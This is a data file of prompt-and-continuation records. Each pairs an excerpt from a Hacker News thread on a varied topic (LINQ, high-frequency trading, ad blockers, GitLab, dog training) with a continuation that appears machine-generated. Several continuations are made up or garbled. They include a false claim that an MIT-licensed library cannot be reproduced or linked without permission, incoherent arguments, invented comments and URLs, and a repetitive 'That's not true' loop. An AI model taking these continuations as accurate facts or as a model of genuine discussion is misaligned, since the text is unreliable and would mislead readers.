[https://github.com/rogerwcpt/python-linq-\nsamples](https://github.com/rogerwcpt/python-linq-samples)\n\n\\- Groovy [https://gitlab.com/svkj/groovy-linq-\nsamples](https://gitlab.com/svkj/groovy-linq-samples)\n\nMost languages fare well in both verbosity and readability so I don't view\nLINQ as a major strength of C# anymore, it's just a well designed, typed query\nlanguage with the USP of being able to capture and traverse an expression's\nAST which different LINQ providers can take advantage of by translating the\nintent of the query into a different DSL, most commonly used by ORMs to\nconvert to SQL and execute the typed C# Expression logic on the RDBMS Server.\n\n~~~\nkccqzy\nIsn't the point of LINQ to get monads into the language so that it can be used\nby a lot of different things (seemingly having no relations to data\nprocessing), rather than just data processing tasks?\n\n~~~\ngoto11\nNot really. You can have monads without Lin"} +{"output_text": " of important points.\n\n------\njoe_the_user\nThe author seems to be arguing that HFTs are a symptom of a larger problem,\nbut doesn't really address what that larger problem is.\n\nThe author does note that the NYSE is going to be replaced by something\n\"more nimble\" but doesn't say what that is. It's possible that something\n\"nimble\" will be more HFT-friendly than the NYSE, but", "input_text": " he is quite adamant in his assertion that HFT is great. As long as\nit is in the service of large buy side institutions he has no problem with it.\nIf on the other hand, HFT firms dare to upend the relationship with\ntraditional ibanks, then he gets upset.\n\n------\nsolaarphunk\nSurprise-surprise, HFTs can also be marketmarkers and bridge the imbalance of\narrival rates of buyers and sellers!\n\n------\nw_t_payne\nYou can't trust people. Even supposedly-trustworthy people working for\nsupposedly-trustworthy household-name financial institutions like Barclays.\nWhat then can we trust? Technologies like BitCoin are predecated on the idea\nthat we can trust mathematics and peer-reviewed logic. Are these mechanisms\ninherently more trustworthy than individual humans and human institutions? If\nthis is truly the case, then the argument for financial intermediation to be\nfounded on a similar technological basis is an exceptionally strong one.\nAnybody else interested in following this rabbit hole to see where it leads?\n\n------\nwernerb\nMicheal Lewis explains dark pools and HFT's quite well in his new book Flash\nBoys [1].\n\n[1] [http://www.amazon.com/Flash-Boys-Wall-Street-\nRevolt/dp/03932...](http://www.amazon.com/Flash-Boys-Wall-Street-\nRevolt/dp/0393244660)\n\n~~~\nkasey_junk\nNo he doesn't. Either through ignorance, incompetence, or malice he wrote a\npretty terrible book about dark pools and HFTs. Dark Pools by Patterson is\nmuch better and even it misses on lots"} +{"output_text": ".\n\n------\nmichael_dorfman\nThe full document is here:\n\n[http://www.justice.gov/criminal/briefs/apbbrief-\n092202.pdf](http://www.justice.gov/criminal/briefs/apbbrief-092202.pdf)\n\n------\njokoon\nI wonder if this is related to the fact that the US has a lot of private\ndetention facilities.", "input_text": "\ndigital realm - mainly their ability to keep secrets and collect taxes. Real\ncrypto currencies and encrypted communications will change human organization\nand governments will fight back with everything they have. These new laws over\nthe past several years have been to address the above - they have nothing to\ndo with 'terrorism' - cyber or otherwise. Government's only effective role is\nto maintain its power. Everything thing else is secondary.\n\n------\nrtpg\nCan someone explain to me how citizenship comes into play for any of these\nthings? I was always under the impression that non-citizens also had basic\nrights.\n\n------\nryanmarsh\nWhen you consider that humans have been on the earth some 150,000 - 200,000\nyears it's interesting that only in the last heartbeat of humanity's existence\n(4,000 or so) did we decide en masse to grant a monopoly on the use of deadly\nforce to someone else, namely bureaucrats.\n\n------\nallingeek\nI had to giggle when I took a look at the URL, \"someone-just-leaked-obamas-\nrules-for-ass.\" Which made me wonder if this, rather lengthy, but clearly\ntruncated URL was hand chosen. Either way makes you think about more\nintelligent filters for URL generators.\n\n------\nlogn\n[https://petitions.whitehouse.gov/petition/impeach-\npresident-...](https://petitions.whitehouse.gov/petition/impeach-president-\nobama-unconstitutional-execution-united-states-citizens/Rdq942HF)\n\n------\nmens_rea\nI love that this title is so unbiased and doesn't at all blow the document out\nof proportion or make it appear more sinister than it actually is"} +{"output_text": " because it's a useful\n_default_. It's a default that can be overridden by evidence.\n\n~~~\nTeMPOraL\nI think it's a useful default for everyone, because it's true for everyone.\nIt's not your fault if the car you're driving crashes - it's the driver's\nfault.\n\n~~~\ngraeme\nI think it's useful for entrepreneurs because it's often true. But it's not\ntrue for everyone.\n", "input_text": " recall being 4chan, of\nall places!), they use an unfiltered third party network, which generally are\ngreat vehicles for malware.\n\nThe few tenths of a penny my ad impression is worth does not offset the cost,\nnor the risk, of your site infecting me with the rootkit of the day. Where do\nI send the bill?\n\nThe second reason being the ads are generally scammy (One simple rule...),\ndistracting (moving things, sound, etc), irrelvant (I live at home by myself.\nI am male. Why are you showing me women's fashion magazines and breast\nenlargement ads?!), etc.\n\nI've got no problem with text ads (ala Google) which eliminate most of these\nconcerns - heck, in Google's case, they're even usually relevant!\n\n~~~\nGoronmon\n_I use an adblocker because most sites I visit that serve ads do not\npersonally vet the ads that run (with the great exception I can recall being\n4chan, of all places!), they use an unfiltered third party network, which\ngenerally are great vehicles for malware._\n\nWhile sites might not be able to vet individual ads, they do get to choose\nwhich advertisers to use and it's glaringly obvious which ones use the ads\npeople hate.\n\nWhy not just not visit sites that decide to use annoying ads?\n\n~~~\nNursie\nBecause you've already caught the malware by the time you figure it out?\n\n------\ngraeme\nThere is a good article, linked within, about how as an entrepreneur, of\nthings go wrong, it's your fault.\n\nI'd say that's valuable advice for humans, not just entrepreneurs.\n\nThis belief is useful not because it _true_, but"} +{"output_text": " into startups was because I wanted to be\neloquent, optimistic, and down-to-earth. I've worked with many engineers who\nwere smart, but lacked a certain charisma that makes you feel like you can\nhave a real conversation with them. I've also worked with some charismatic\nengineers who were also smart, but lacked the humility to realize that they\nneeded to pass the information along to their coworkers.\n\nI think it's important to remember that the", "input_text": " few times.)\n\nWas Richard the guy who went as a flasher at a Halloween party? Because every\ntime I read about him testifying in court, I'm imagining him doing so in that\ncostume, which was... graphic.\n\n~~~\nabawany\nI never knew UTD had such goings-on, probably because I was just an evening\nstudent who attended business classes there :) (FYI: I have been a developer\nmost of my life - just wanted to broaden my horizons re. business.)\n\nI think I also know a Richard Bates from UTD, as a co-worker (but I am not\nreal sure that it is the same person so I won't be too specific as to company\nand etc.). I found this Richard Bates to be a hard worker who was detail\noriented and focused on doing the right thing.\n\n~~~\npavel_lishin\nYeah, there was a fair amount of stuff happening at UTD when I was there - it\nwas easy to miss if you didn't live on campus, or if you only attended in the\nevenings. Sorry you missed out on the fun!\n\nAlthough, to be fair, some of that 'fun\" was actually pretty regrettable in\nhindsight. But them's part of learnin'.\n\nI didn't know Richard well, but nothing I learned about him made him seem like\nhe would be a bad employee, except I guess the possible personality clash,\nwhich can be true of anyone.\n\n------\nrobbyking\nThis is a bit of an aside, but this line really stung:\n\n>> _Ross was a techie, but he didn 't act like one. He seemed eloquent,\noptimistic, down-to-earth._\n\nOne of the main reasons I got"} +{"output_text": ". They have a\nhistory of suing people for pirating their games.\n\n------\njdp23\nI think the author makes a good point about the importance of a good\n\"recommendation system\" for apps. I'd like to see a system that rewarded\npositive reviews and punished negative ones.\n\nI'm not sure how to do this, though. It seems like it would reward people who\nwanted to game the system, and that's not a good thing", "input_text": "what you are referring to.\n\n~~~\nNasrudith\nThe answer is that publically traded companies face heavy pressure to keep\nsustained quarterly growth indefinitely and various \"activist\" investors will\ninsist upon ousting any who stand in the way even if it is better for longterm\nhealth not to say lay off experienced engineering staff in a stable industry\nto inflate quarterly profits (Boeing) when it comes to bite them with\nelectrical fires in their next big plane.\n\n------\njl2718\nMost change is bad. Some change is necessary.\n\n \n\nOur Pirate Game is Getting Owned By App Store Pirates - theappfarm\nhttp://silverskullgame.blogspot.com/2009/09/our-pirate-game-is-getting-owned-by-app.html\n\n======\ntimcederman\nA nice sensible response, with some well-reasoned observations.\n\nThe thing about piracy I've always found weird is how hysterical some people\nget about it for their medium and not others. For example, I am good friends\nwith several software developers who get furious about people pirating their\nproducts, but have no qualms about having gigs of copied music personally.\n\n~~~\njacquesm\nI think the rationale people are using here is that it's the record companies\nthey're pirating from not the artists.\n\nArtists like Janis Ian ( (be sure to read the follow up)) have made that point\nquite eloquently.\n\nStill, the basic position is one of hypocrisy, no contest there.\n\n~~~\ntrapper\nAnd EA and the other big game companies aren't just like them"} +{"output_text": "/SGJ5cZnoodY)\n\n~~~\nyahyaheee\n>Does China hack?\n\nI'm not sure what you're trying to say here.\n\n~~~\nfreeflight\nI'm not sure either, but the tone of the FUD makes me believe it's something\nmore than just a random opinion.\n\n~~~\nyahyaheee\nI think it's just a random opinion.\n\n \nHacker School\u2019s new curriculum", "input_text": "counterparts in the U.S. - saw first hand their capability. Small cubicles, 3\nsq yd, 30 in a row, all with different language skills, ( any language ),\nComputer science graduates from the No 1 University in China. Pay is a\nfraction of what a compatible grad is being paid in the U.S. No competition.\nHigh pay won't make the leverage.\n\n------\nanonymous_fun\nI saw Mr. Hickton speak a few nights ago. It was really an interesting talk\nabout some of the challenges for the future:\n[https://www.youtube.com/watch?v=8Zktw-m5hTI](https://www.youtube.com/watch?v=8Zktw-m5hTI)\n\n------\nfreeflight\nIt's super weird how everybody considered Trump odd for his hate for China,\nyet these days so many people just repeat the, usually completely baseless,\nanti-China FUD.\n\nWhether it's Huawei supposedly spying on everybody or the Chinese government\nputting implants on Super Micro boards, nothing is too absurd to be spread by,\nout of all parties, Five eyes themselves.\n\nDoes China hack? Of course, so does the US, it even steals IP from allies. But\nI seriously doubt the damages for that go into the $57 billion, that's just a\npiracy-damages like inflated number. In reality, a whole lot of interesting\ninnovation, particularly on the hardware level, has already been happening in\nChina for years already. They gonna out-make the US maker movement, on a\nmassive scale [0].\n\n[0] [https://youtu.be/SGJ5cZnoodY](https://youtu.be"} +{"output_text": " same problem for a while. I found that I was not motivated by money\nand that I was more motivated by the feeling of helping others. So I started\ndoing that more and more. I started working on open source projects, writing\narticles, etc. I also started doing more social work. I found that I was more\nmotivated by that than by money.\n\n------\nkleiba\nI think the problem is that you don't really _want_ to work on", "input_text": " for my time except myself.\n\nFrom experience, I feel like most professional consulting organizations pad\nhours, but I'd prefer to show more for my time since my personal brand is\ncritical to my success.\n\n------\nryan-allen\nHi!\n\nYou may just score low on the contientiousness scale of the big five, do this\ntest and see!\n\n[https://www.understandmyself.com/](https://www.understandmyself.com/)\n\nIf you score low on that dimension of personality, routine does not come\neasily to you by nature of your personality. It's not bad per-se but it means\nit will be harder for you to make and keep a schedule (which apparently is the\nadvice for people low in that dimension).\n\nI score low, and as a result I always have to keep on top of myself. I thought\nit was bad and carried a lot of guilt about it because I thought it should 'be\neasy'.\n\nSend me an email if you want to discuss privately (ryan at 137 dot ms).\n\n------\nfimdomeio\nPersonally I found out that my motivation was directly related to being well\nmanaged / being poorly managed by others where being well managed is normally\nsomething like: \"find me the best possible solution for x, taking into account\nthat we have y and z constrains\", and doing things I believe in. There's a\nworld of difference in motivation if you believe in the project goals or if\nyou're in it just for the money. Finding technical challenges is also relevant\nsometimes, but not that much for me personally. whell maybe what I call\nworkflow optimizations is the lie I tell myself for creating technical\nchallendges.\n\n------\ntopmonk\nI had the"} +{"output_text": " would be to use std::unique_ptr, and make it a\nwrapper around that, so that you get the safety of std::unique_ptr, and the\nsane ownership semantics of bdn::unique_ptr.\n\n~~~\nhduden\nWe do not make any guarantees wrt. destruction order. We are not using\ndeferred destructors in this case. We are using std::shared_ptr because we\nwant to be able to use the standard algorithms on the", "input_text": " framework: Native C++11, native widgets, no JavaScript - gitoby\nhttps://github.com/ashampoosystems/boden\n======\nint_19h\nThis does not appear to be idiomatic C++11. I mean:\n\n \n \n bdn::P button = bdn::newObj();\n \n\nIdiomatic would be to use std::shared_ptr and std::make_shared, instead of\nyet-another-custom-smart-pointer.\n\n~~~\nhduden\nI am a member of the Boden dev team. The smart pointer system is actually\nstill a topic of discussion in the Boden team as well. It has a couple of nice\nproperties, like the fine grained control bdn::P gives us over the time when\nan object is actually destructed. For example, these pointers provide an easy\nway to ensure that destruction of our View objects happens only on the main\nthread, no matter which thread released the last reference.\n\nBut on the other hand, not using the standard constructs definitely has a cost\nassociated with it. We are happy for your feedback on this issue.\n\nNote that we also think about the idea of transforming P and making it a\nspecialization of std::shared_ptr for objects derived from bdn::Base. That\nwould give us the best of both worlds. Feel free to let us know what you\nthink.\n\n~~~\nint_19h\nDeferring destructors is a suspicious pattern in general - in C++, I generally\nexpect them to not be async and unpredictable like that. What guarantees do\nyou make wrt destruction order? I hope it's not as complicated as finalizers\nin Java and C#...\n\nThe more logical model"} +{"output_text": " you\nabout it more, but I have to point out that this is a copyright infringement\n-- you're violating the copyright on this code by embedding it.\n\nThe code is hosted on GitHub as an MIT-licensed library. You're not allowed\nto reproduce it, distribute it, or link to it without the copyright owner's\npermission.\n\nYou're also not allowed to use it in a way that would be considered a\nderivative work.\n\nIf you want", "input_text": " of it:\n\n[https://www.fastcompany.com/3037719/turn-your-kitchen-\ninto-a...](https://www.fastcompany.com/3037719/turn-your-kitchen-into-a-\ngarden-with-this-mini-fridge-sized-electric-farm)\n\n------\ngonesilent\n$399 for $25 in plastic. Go to home depot and buy some rain plastic gutters.\n\n~~~\nswiftcoder\nEvery time one of these vertical/rotating indoor farms comes onto the market\n(usually via crowdfunding), it has roughly the same level of cost inflation.\nHaven't quite figured out who they are conning into buying these setups.\n\n~~~\ngullyfur\nWhat's the best DIY video on building something like this? I don't even know\nwhere to start.\n\n~~~\nzo1\nI saw this guy a while back.\n\n[https://www.youtube.com/watch?v=lzcC6zkDDiY](https://www.youtube.com/watch?v=lzcC6zkDDiY)\n\nI think he got a lot of flack for pointing out that the zip-grow towers are\nway overpriced and you can DIY them yourself reasonably well. There really\nisn't anything too-complicated about the ZipGrow towers, other than that they\nuse a sponge as a media.\n\n~~~\ngullyfur\nThank you!\n\n \nShow HN: Me API \u2013 turn yourself into an open API - danfang\nhttps://github.com/danfang/me-api\n======\nac360\nDan -- the themes and ideas behind this are rad and I'd love to chat with"} +{"output_text": " server,\nDNS, etc.) as well.\n\n~~~\nbenologist\nYeah, Owncloud is pretty good.\n\n------\njason_slack\nI have a friend that is a licensed electrician. He is a very good guy and\nalways willing to help out. He is also a very good programmer.\n\nHe is a single dad and his son is very smart. The two of them hang out and\ncode together.\n\nI am a dev", "input_text": " as a single source).\n\n~~~\nbenologist\nI'd go one step further and build your own private cloud for a bunch of stuff.\nI did all this easily through a slick web interface for open source software\nand linux that Synology has created.\n\nA lot of this stuff includes apps for phone/tv/etc that you can download for\nfree in stores or even from their own site, and it can be available to\neveryone in your household for some pretty decent savings - if it still works\nin a year I'll have saved more than I spent on it ($290 + disks x4).\n\n\\- cloud files almost directly equivalent to Dropbox, I haven't solved sharing\nfiles yet but I have versioning and undeleting for my work\n\n\\- note server like OneNote with a browser extension to save pages,\nscreenshots etc\n\n\\- music streaming ala Amazon Music et al\n\n\\- torrent downloading I guess is like seed boxes but never had one\n\n\\- video streaming server like Netflix\n\n\\- photo uploading like iCloud\n\n\\- email server, didn't actually install this one yet but everything else is\nup and running\n\n\\- dns server with network-wide ad/malware/tracker blocking\n\n~~~\nYetanfou\nThat is exactly what something like Owncloud/Nextcloud (for which I made those\nbook/publication-related tools) enables you to do: create a 'private cloud'\n(what a silly word it is, really... cloud). It does some of the things you\nmention 'out of the box' (file storage, photo uploading) or after installing\nsome 'apps' (note server, music streaming, video streaming, email user agent\n(not a mail server)). Since it runs on *nix you get the rest (mail"} +{"output_text": "ings of words. Dogs don't have this.\n\nDogs understand the meaning of the word, but not the context of the word.\n\nDogs don't understand that 'sit' and 'sit down' are two different things. They\ncan understand the word 'sit', but not the context of the word.\n\nDogs don't understand that 'fetch' and 'drop something at the foot of the\nchair' are two different things. They can understand the word", "input_text": " bit at me but it's damn hard trying to pry a dogs jaws open _and_\nstick fingers down its mouth to stop it choking on a piece of meat with bone\nin it), she's also stopped stealing food off of the coffee table (she got in\nfrom her walk one day and stole a large day old pizza crust off the table and\nhad eaten 4/5ths of it before I finally managed to catch her).\n\nBy the best estimates, I have another 14 years with this dog and so far I've\nmostly been working at removing bad behaviours she had learnt. For all the\ntime I taught tricks, I spent easily twice as long making bad behaviours go\nextinct. I don't intend to stop training my dog because the more time I spend\ntraining her, the more relaxed she is at home (Jack Russell and relaxed are\ncommonly considered antonyms).\n\nI'll have to record it sometime, but the thing I don't think people understand\nabout dogs is that they're consciously trying to comprehend you. When teaching\nher to sit pretty by verbal command only she would hit this point where she\nhits the 'zone' her eyes become locked and you can see the gears crunching and\nthen she performed the trick with no signalling. She also tried brute-forcing\nher tricks; literally she'll perform every trick she's learnt and then give up\nand start doing'speak' to every command. You go back 5 minutes later and\nshe'll hit the 'zone'.\n\n~~~\ngnaritas\n> dogs don't understand the actual words, their brains are merely receiving a\n> signal and performing an associated action\n\nAnd that differs from understanding exactly how?\n\n~~~\nelectromagnetic\nHumans have the ability to understand multiple meanings, modify the meanings\nand understand the mis-mean"} +{"output_text": " and son alone to sleep.\n\nIt was a lot of hard work, and involved a lot of trust on my part. But it\nworked.\n\n~~~\njaggedeen\nI've heard that 'don't call us we'll call you' is a good strategy for birth\nhomes. I'm not sure how well it works in hospitals though.\n\n~~~\nkchoudhu\nIt's a strategy I learned from the \"safe rooms\" concept in the", "input_text": "contributing to the adverse outcomes.\n\nMight be a starting point at least.\n\n[0] [https://www.hsj.co.uk/technology-and-innovation/taking-\nthe-r...](https://www.hsj.co.uk/technology-and-innovation/taking-the-risk-out-\nof-care-handovers/5057867.article)\n\n------\nad_hominem\nI asked my doctor relative about this once and IIRC they basically said\nbecause hospitals are not hotels - if you're inpatient in America you're\npretty sick and more than likely need periodic monitoring for your condition.\nAs soon as you're well enough to be sleeping for long periods of time without\nobservation you'll get bounced.\n\n~~~\ndevereaux\nYou can be a patient and be so sick of the noise that you decide you want to\nopt out of the monitoring - or you DIY anyway, as most hospital do not take\nrequests kindly.\n\nI was once in ICU. The cardiac monitor was beeping loudly whenever I was\nstarting to sleep.\n\nAfter the first few time woke me up in pain, I bent over and pushed the button\nto power off the cardiac monitor. Problem solved! I fully admitted all the\nrisks - but there comes a time when too much is just too much.\n\nI then had a great night of sleep :-)\n\n~~~\nlexicality\nDid you check to see if the cardiac monitor was set up to prevent you\nsleeping?\n\n~~~\ndevereaux\nI didn't care. I wanted to sleep. And I did.\n\n------\nkchoudhu\nFor the birth of my second child, I learned to manage hospital staff so that\nthey would leave my wife"} +{"output_text": "_ works out in the real world.\n\n~~~\n1123581321\nI'm not saying that you can derive the effects of gravity from first principles\nin humans. I'm saying that the effects of gravity on bone density are known\nfrom experiments in low gravity environments.\n\nYou can derive the effects of 1/6 _g_ from first principles in humans, too.\nThat's how we derived the effects of microgravity on bone density.\n\n~~~\ndaniel", "input_text": "\n~~~\n1123581321\nWe have already measured bone loss in low gravity environments.\n[http://weboflife.nasa.gov/currentResearch/currentResearchGen...](http://weboflife.nasa.gov/currentResearch/currentResearchGeneralArchives/weakKnees.htm)\n\nGravity plays an essential role in bone maintenance. You can work this out\nfrom first principles if you know anything about biology, or read about NASA's\nfindings.\n\nThis has been known for a long time, well before humans ever went to space.\nFor example, HG Wells' _First Men on the Moon_ described the very weak chests/\nrib cages of the moon's citizens due to low gravity resulting in very low bone\ndensity. When the explorers from earth struck them, their chests crumpled like\na beetle might on earth. Wells either learned this from other scientists or\nworked out the logic himself.\n\n~~~\ndanielweber\nThat's microgravity, or what other people call \"zero gravity.\"\n\nWe honestly don't know how much gravity people need to survive. Your talk of\npeople's chests collapsing because you read it in science fiction is just\nthat: science fiction. HG Wells is great but he's not really a good source of\nscience for modern astrophysics.\n\nOdds are, there are many bodily functions that work just fine in a little bit\nof gravity, and others that scale up as you get more and more gravity.\n\nWe really need to get some spinning space stations set up to find this stuff\nout. Unfortunately, NASA has a really big fetish for \"let's spend money on\nmicrogravity research\" instead of just doing the obvious thing of seeing how\n1/6 _g_ or 3/8 _g"} +{"output_text": " \"you can't eat money\".\n\n------\njuskrey\n> I'm not going to be rich, but I'll be comfortable and have a good life.\n\nYou can't have both.\n\n~~~\nkube-system\nThat's not true. You can have both.\n\n~~~\njuskrey\nIt's not possible to have both in US.\n\n~~~\nkube-system\nThat's not true.\n\n~~~\njusk", "input_text": " source of income, you at least have enough back up to get you through it.\nI have no idea if this is actually feasible or not, but it's what I'll be\nattempting to pull off over the next few years.\n\nThink about what you enjoy doing and if there's some way to get paid for that.\nTeaching, writing, speaking, land lording, house flipping, coaching. Design,\nbuild, and manage (or some subset of that) vacation properties, and you can\nuse them for yourself when not rented.\n\nYou could also use some labour to reduce costs rather than generate income.\nGrow your own food, fix your own car, ERE style.\n\n------\nakg_67\nConsidering you mentioned \"focus less on absolute financial independence\" and\n\"small amount of savings\", I guess that you want to generate multiple streams\nof income through your \"labor\" instead of \"capital\".\n\nThere are only two ways to generate, increase, create multiple stream of\nincome through \"labor\": increase number of hours of \"labor\" spent working\nand/or increase the hourly rate you charge for your \"labor\". Two problems with\n\"labor\" based income generation approach: there is upper limit on the \"labor\"\nhours you can contribute and \"capital\" providers typically control how much\nthey will pay you for each hour of your \"labor\".\n\nWhen you generate income through \"capital\", you have none of these\nlimitations. Unlike days of our parents and grandparents when \"labor\" was\nwell-respected, now a \"capital\" based income generation approach is considered\nmuch superior.\n\nYou should be thinking about how you can move from \"labor\" based to \"capital\"\nbased income generation approach. My wife likes to say"} +{"output_text": ", and it's a net loss.\n\n~~~\nDanBC\n> I'm not exactly sure why so?\n\nBecause it's illegal to sell a game to a person in a country where the game\ncontains content that is illegal in that country.\n\nSo you have to make a game that can be played in every country. You have to\nmake a game that can be played in every country without any regional\nrestrictions. You have to make a game that can", "input_text": "\nBut realistically it's fucking HARD. Mainly because increasing quality to be\ncompetitive with piracy would generally require breaking tax and import laws\neverywhere.\n\nEven if it doesn't require breaking those laws to be competitive, you have to\nat least pay enough people to be aware of them, for each and every country you\nwant to be able to distribute your content in.\n\nSo decent* DRM isn't about stopping piracy, really. It's about slowing it down\njust enough that it's still worthwhile to jump through the hoops required to\nbring that content legally to other regions.\n\n*: It's actually fairly hard to hit this goal on the head, and often I feel companies buy too far into their own bullshit and sense of entitlement with DRM. A lot of shoddy executives with poor understanding of software misuse DRM to the extent that it drastically lowers the value of the content (see: always on DRM) Please continue to bash them, they deserve it.\n\n~~~\nshmerl\n_> Mainly because increasing quality to be competitive with piracy would\ngenerally require breaking tax and import laws everywhere._\n\nI'm not exactly sure why so? Take for example gaming. GOG sells DRM free games\nworldwide, without regional restrictions and no inflated pricing for countries\nlike Australia for example. Why can't video be sold on similar terms?\n\n _> So decent DRM isn't about stopping piracy, really. It's about slowing it\ndown just enough that it's still worthwhile to jump through the hoops required\nto bring that content legally to other regions._\n\nIn my view it never pays off. The downside of reduced usability is always\nworse than any potential gain in slowing down piracy on the period between\nsome new DRM scheme is introduced until it's broken. Usually that period is\nsmall"} +{"output_text": " breakthroughs was a harbinger\nof the rise of machine learning.\"\n\nI'm curious as to why this assertion is surprising. Deep Blue was a chess\nplaying machine, not a machine learning machine. Deep Blue was not using\nmachine learning.\n\n~~~\njokoon\nI think it's because people think that chess is a simple problem, and that\nmachine learning is the answer to everything.\n\nBut chess is a very hard problem, and it's not always the", "input_text": "~~~\nasdfologist\nYou're referring to Advanced Chess [0]. Yes, humans do add value, or otherwise\nthis form of chess wouldn't exist at all, i.e. the human's best strategy would\nbe to always take the engine's top recommended move.\n\n[0]\n[http://en.wikipedia.org/wiki/Advanced_Chess](http://en.wikipedia.org/wiki/Advanced_Chess)\n\n~~~\ngwern\nBut at some point Advanced Chess will be 'dead' in the sense that the best\nhuman players no longer help the best software win: the human will pick better\nmoves less than poorer moves, and blow games. It's hard to tell when, but\ngiven how large the margin is, and how finely balanced the best chess engines\nare now (Lipton has some interesting posts on computer chess, most recently\n[https://rjlipton.wordpress.com/2014/12/28/the-new-chess-\nworl...](https://rjlipton.wordpress.com/2014/12/28/the-new-chess-world-\nchampion/) ), I wonder if that moment has already passed?\n\n~~~\nHoushalter\nAnother observation is that humans only add value for their pattern matching\nability. Computers have worse heuristics, but make up for it by being able to\nexplore many moves into the future.\n\nBut now deep neural networks have been catching on. They've shown good results\non Go, being able to predict the move an expert would make 44% of the time.\n\n------\nraymondh\nThe article makes a surprising and unattributed assertion, \"Mr. Kasparov\u2019s\nobsession with Deep Blue\u2019s surprising strategic"} +{"output_text": " I am still reading books.\n\nI am a big believer that you can learn anything if you put your mind to it.\n\nI am not a big believer in expensive course, I think that you can learn\nprogramming with free resources and that you can learn a lot from open\nsource/github projects.\n\nI am not a big believer in paid course, I think that you can learn programming\nby reading books, watching videos and doing coding exercises.\n\nI am not", "input_text": "\n[http://jenniferdewalt.com/](http://jenniferdewalt.com/))\n\n _I don 't know people who can help me._ Hack: Find your local web development\nmeetup and go. Don't sit in the corner. Meet people. Get their contact into.\nTell them what you're trying to accomplish. Ask them for advice. (People love\nto give advice.) Email them later and let them know you enjoyed meeting them.\nThank them for their advice. Build relationships.\n\n~~~\ntaphangum\nThis is fantastic advice. Pretty much exactly what I did to get to the point\nof being employable (when not working on my own ideas). Starting from a\nposition pretty similar to the OP.\n\nThe most important part of this is the emphasis on releasing code on a\nconsistent basis. I'm 6 years into my journey and am still doing this pretty\nregularly. Example: [https://github.com/Tapha/Custom-\nHighlight](https://github.com/Tapha/Custom-Highlight) \\- A simple, open source\ntext highlighter that allows you to add custom functions to it. Like the\nMedium editor.\n\n------\ncoderKen\nHi,\n\nI was born and live in West-Africa, meaning epileptic power supply,\nexpensive/slow/sometimes unavailable internet connection.\n\nRight now I am a software developer with about 4 years in the game and yes I\nam self-taught like most people here, this was before things like Udacity and\nKhan academy. Google was my teacher. I believe you can see free online\nresources to learn how to program like I did, I've never used Udacity or any\nof those online learning sites, I read a lot and"} +{"output_text": " about the idea here: \n\nI'd love to hear any feedback you have. Thanks!\n\n~~~\njfarmer\nI think the biggest problem with this is that I don't know what it is.\n\nI understand the concept, but I don't know what it is.\n\nI think that's the problem with a lot of these \"Theory of", "input_text": ". I mean, everyone here will get\nit, but not the mass market. I doubt that many AOL Chat users understand what\n\"asynchronous\" means. Don't delete the existing page... just make a slightly\nsimpler, shorter Theory page and relegate the existing text to a second-level\n\"Theory of the Theory\" page.\n\nOther than that... it's hard to know what to critique. Many of the essential\ndesign features of such a site will only become obvious when it's flooded with\ntraffic or overwhelmed by griefers. That's hard to test. Maybe you should\nstart a really _provocative_ conversation and then post a Digg link to it. ;)\n\n~~~\nbenjamincanfly\nThanks! In a way the signup process is my favorite thing about the site, since\nthere's no process required at all. I love it when I stumble upon a painless\nmethod of any kind.\n\nYou can post the link from your address bar, but the next step will be to make\neach tag and conversation a static URL which can be crawled by Google.\n\nThe theory page was basically written for the HN and reddit/r/programming\naudiences, because I wanted to get some serious feedback on the concept\nitself. In the next month or two everything will be made more palatable.\n\nThanks for the feedback.\n\n------\nbenjamincanfly\nHey guys! I've been building this app in my spare time. It's based on a simple\nidea I had over a year ago - somehow after all this time there still has not\nbeen a great web 2.0 chatting site to come into existence, so I've been\nsteadily working at it whenever I've had the chance.\n\nYou can read my whole spiel"} +{"output_text": " time. It\ndoesn't require a perfect initial state. Users benefit from that growth, and\nso do maintainers.\n\nI think the real problem here is that the maintainers of these packages are\noften not the authors. They're the people who write the code, but they don't\nwrite the documentation, they don't write the user guides, they don't write\nthe marketing, they don't write the reviews, they don't write the social\ncontract with users,", "input_text": " To be clear, this approach creates a bit more work for authors, but that\nwork is justified by delivering significant benefits to users._\n\nUsers don't want all of the work pushed onto maintainers. Life needs to be\neasy for maintainers too, because happy maintainers are how users get lots of\nstuff to use in the first place. If you push all of the burden onto package\nmaintainers, you end up with a beautiful, brilliantly-lit grocery store full\nof empty shelves. Shopping is a pleasure but there's nothing to buy because\nproducing is a chore.\n\nGood tools distribute the effort across both kinds of users. There's obviously\nsome amortization involved because a package is consumed more than it's\nmaintained, but I'm leery of any plan that deliberately makes life harder for\na class of users, without very clear positive benefit to others. Here, it\nseems like it makes it harder to ship breaking changes, without making\nanything else noticeably easier in return.\n\n _> They can't just decide to issue v2, walk away from v1, and leave users\nlike Ugo to deal with the fallout. But authors who do that are hurting their\nusers._\n\nAre they hurting users worse than not shipping v2 _at all_? My experience is\nthat users will prefer an imperfect solution over no solution when given the\nchoice. It may offend our purist sensibilities, but the reality is that lots\nof good applications add value to the world built on top of mediocre, half-\nmaintained libraries. Even the most beautiful, well-designed, robust packages\noften went through a period in their life where they were hacky, buggy, or\nhalf-abandoned.\n\nA good ecosystem enables packages to _grow_ into high quality over"} +{"output_text": " the new hosted version.\n\n[https://github.com/blog/2044-faster-and-higher-\nperformance](https://github.com/blog/2044-faster-and-higher-performance)\n\nI'm not a fan of the hosted version of Github. It's bloated and slow. I'm not\nsure if this is going to make it worse.\n\n~~~\njoshmarinacci\nI agree that the hosted version is", "input_text": "ems to me they're the more active of the two. (See for yourself: go to both\nGithub repositories, hit 'insights' and check the past month.) Gitea was\napparently forked because they wanted more community driven development rather\nthan by one person.\n\n------\nsuper_trooper\nSo is GitLab the new GitHub for opensource?\n\n~~~\nduiker101\nWhy is BitBucket not being kept in consideration with this move?\n\n~~~\nnaikrovek\nI was wondering the same. I thought Atlassian had better rapport among devs\nthan GitLab.\n\n~~~\nsjm-lbm\nDoes Atlassian have better rapport with the businessy set that often makes\npurchasing decisions? Yes.\n\nBetter rapport with developers? Probably not.\n\n(and, FWIW, we use Bitbucket/Jira and honestly I'm fine with them - their\nupdates just tend to be full of the annoying things a bad PHB would love and\nlight on the things developers care about)\n\n~~~\nSanDimasFootbal\nNo sales people pushing the products makes it a little harder for it to be a\npush down from the businessy-set.\n\n------\nbenatkin\nMaybe they should change their Twitter bio. It leads with \"GitLab is open\nsource software\" but if they move many of the users of the Community Edition\nto GitLab Ultimate, they will stop feeling the pain points of the Community\nEdition and too many core features will be Enterprise-only, and the Community\nEdition will fall into disuse.\n\n------\nzamalek\nI like this. I just don't know if it's a smart idea. Some threads since the\nannouncement have complained about the performance of"} +{"output_text": " 